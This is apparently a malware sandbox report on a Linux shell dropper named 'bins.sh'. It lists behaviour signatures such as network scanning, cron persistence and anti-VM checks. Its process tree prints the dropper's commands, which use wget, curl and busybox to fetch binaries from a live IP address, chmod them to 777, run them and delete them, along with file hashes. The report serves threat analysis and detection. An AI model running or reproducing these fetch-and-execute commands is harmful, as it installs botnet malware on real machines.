Overview

overview

9

Static

static

1

bins.sh

ubuntu-18.04-amd64

9

bins.sh

debian-9-armhf

8

bins.sh

debian-9-mips

9

bins.sh

debian-9-mipsel

8

Analysis

  • max time kernel
    150s
  • max time network
    154s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    05/11/2024, 21:32

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample241105-1dlets1qbj
  • SHA256 d2968261bae25594b355d5d15a050006a28bd23cca83bab1c2e16f5cf3aba21f
  • MD5 SHA1 SHA512 SSDEEP
Score
8/10
antivmdefense_evasiondiscoveryexecutionpersistenceprivilege_escalatio

Malware Config

Signatures

  • Contacts a large (1889) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 3 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 3 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 3 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 9 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:662
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:669
        • /usr/bin/wget
          wget http://87.120.84.230/bins/Fise5WdTrY5Bbm10gK8Gi3VgxZKIoSN2pF
          2⤵
          • Writes file to tmp directory
          PID:671
        • /usr/bin/curl
          curl -O http://87.120.84.230/bins/Fise5WdTrY5Bbm10gK8Gi3VgxZKIoSN2pF
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:682
        • /bin/busybox
          /bin/busybox wget http://87.120.84.230/bins/Fise5WdTrY5Bbm10gK8Gi3VgxZKIoSN2pF
          2⤵
          • Writes file to tmp directory
          PID:689
        • /bin/chmod
          chmod 777 Fise5WdTrY5Bbm10gK8Gi3VgxZKIoSN2pF
          2⤵
          • File and Directory Permissions Modification
          PID:691
        • /tmp/Fise5WdTrY5Bbm10gK8Gi3VgxZKIoSN2pF
          ./Fise5WdTrY5Bbm10gK8Gi3VgxZKIoSN2pF
          2⤵
          • Executes dropped EXE
          PID:693
        • /bin/rm
          rm Fise5WdTrY5Bbm10gK8Gi3VgxZKIoSN2pF
          2⤵
            PID:696
          • /usr/bin/wget
            wget http://87.120.84.230/bins/V87P3oQZe2YoPxMMtcMkbUkPgRlSz30XUN
            2⤵
            • Writes file to tmp directory
            PID:697
          • /usr/bin/curl
            curl -O http://87.120.84.230/bins/V87P3oQZe2YoPxMMtcMkbUkPgRlSz30XUN
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:700
          • /bin/busybox
            /bin/busybox wget http://87.120.84.230/bins/V87P3oQZe2YoPxMMtcMkbUkPgRlSz30XUN
            2⤵
            • Writes file to tmp directory
            PID:701
          • /bin/chmod
            chmod 777 V87P3oQZe2YoPxMMtcMkbUkPgRlSz30XUN
            2⤵
            • File and Directory Permissions Modification
            PID:702
          • /tmp/V87P3oQZe2YoPxMMtcMkbUkPgRlSz30XUN
            ./V87P3oQZe2YoPxMMtcMkbUkPgRlSz30XUN
            2⤵
            • Executes dropped EXE
            PID:703
          • /bin/rm
            rm V87P3oQZe2YoPxMMtcMkbUkPgRlSz30XUN
            2⤵
              PID:705
            • /usr/bin/wget
              wget http://87.120.84.230/bins/Gz9ptrh2tenC5vrTaQpwmW5i0YyrQ5HULs
              2⤵
              • Writes file to tmp directory
              PID:706
            • /usr/bin/curl
              curl -O http://87.120.84.230/bins/Gz9ptrh2tenC5vrTaQpwmW5i0YyrQ5HULs
              2⤵
              • Checks CPU configuration
              • Reads runtime system information
              • Writes file to tmp directory
              PID:707
            • /bin/busybox
              /bin/busybox wget http://87.120.84.230/bins/Gz9ptrh2tenC5vrTaQpwmW5i0YyrQ5HULs
              2⤵
              • Writes file to tmp directory
              PID:712
            • /bin/chmod
              chmod 777 Gz9ptrh2tenC5vrTaQpwmW5i0YyrQ5HULs
              2⤵
              • File and Directory Permissions Modification
              PID:714
            • /tmp/Gz9ptrh2tenC5vrTaQpwmW5i0YyrQ5HULs
              ./Gz9ptrh2tenC5vrTaQpwmW5i0YyrQ5HULs
              2⤵
              • Executes dropped EXE
              • Renames itself
              • Reads runtime system information
              PID:716
              • /bin/sh
                sh -c "crontab -l"
                3⤵
                  PID:718
                  • /usr/bin/crontab
                    crontab -l
                    4⤵
                      PID:719
                  • /bin/sh
                    sh -c "crontab -"
                    3⤵
                      PID:721
                      • /usr/bin/crontab
                        crontab -
                        4⤵
                        • Creates/modifies Cron job
                        PID:722
                  • /bin/rm
                    rm Gz9ptrh2tenC5vrTaQpwmW5i0YyrQ5HULs
                    2⤵
                      PID:725
                    • /usr/bin/wget
                      wget http://87.120.84.230/bins/qXkNS7Mp4ZJe2d9Ux0pAizR5dm4lorSAq1
                      2⤵
                        PID:782
                      • /usr/bin/curl
                        curl -O http://87.120.84.230/bins/qXkNS7Mp4ZJe2d9Ux0pAizR5dm4lorSAq1
                        2⤵
                          PID:824

                      Network

                            MITRE ATT&CK Enterprise v15

                            Replay Monitor

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                            Downloads

                            Fise5WdTrY5Bbm10gK8Gi3VgxZKIoSN2pF
                            • Path /tmp/Fise5WdTrY5Bbm10gK8Gi3VgxZKIoSN2pF
                            • Size 112KB
                            • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                            • MD5 SHA1 SHA512 SSDEEP
                            Submit Download

                            Gz9ptrh2tenC5vrTaQpwmW5i0YyrQ5HULs
                            • Path /tmp/Gz9ptrh2tenC5vrTaQpwmW5i0YyrQ5HULs
                            • Size 141KB
                            • SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
                            • MD5 SHA1 SHA512 SSDEEP
                            Submit Download

                            V87P3oQZe2YoPxMMtcMkbUkPgRlSz30XUN
                            • Path /tmp/V87P3oQZe2YoPxMMtcMkbUkPgRlSz30XUN
                            • Size 99KB
                            • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                            • MD5 SHA1 SHA512 SSDEEP
                            Submit Download

                            tmp.sRNZMb
                            • Path /var/spool/cron/crontabs/tmp.sRNZMb
                            • Size 210B
                            • SHA256 bbb920744cf5f007e4e4c7f04bd63b60290e1017bedd6589502d02fde80d4a8c
                            • MD5 SHA1 SHA512
                            Submit Download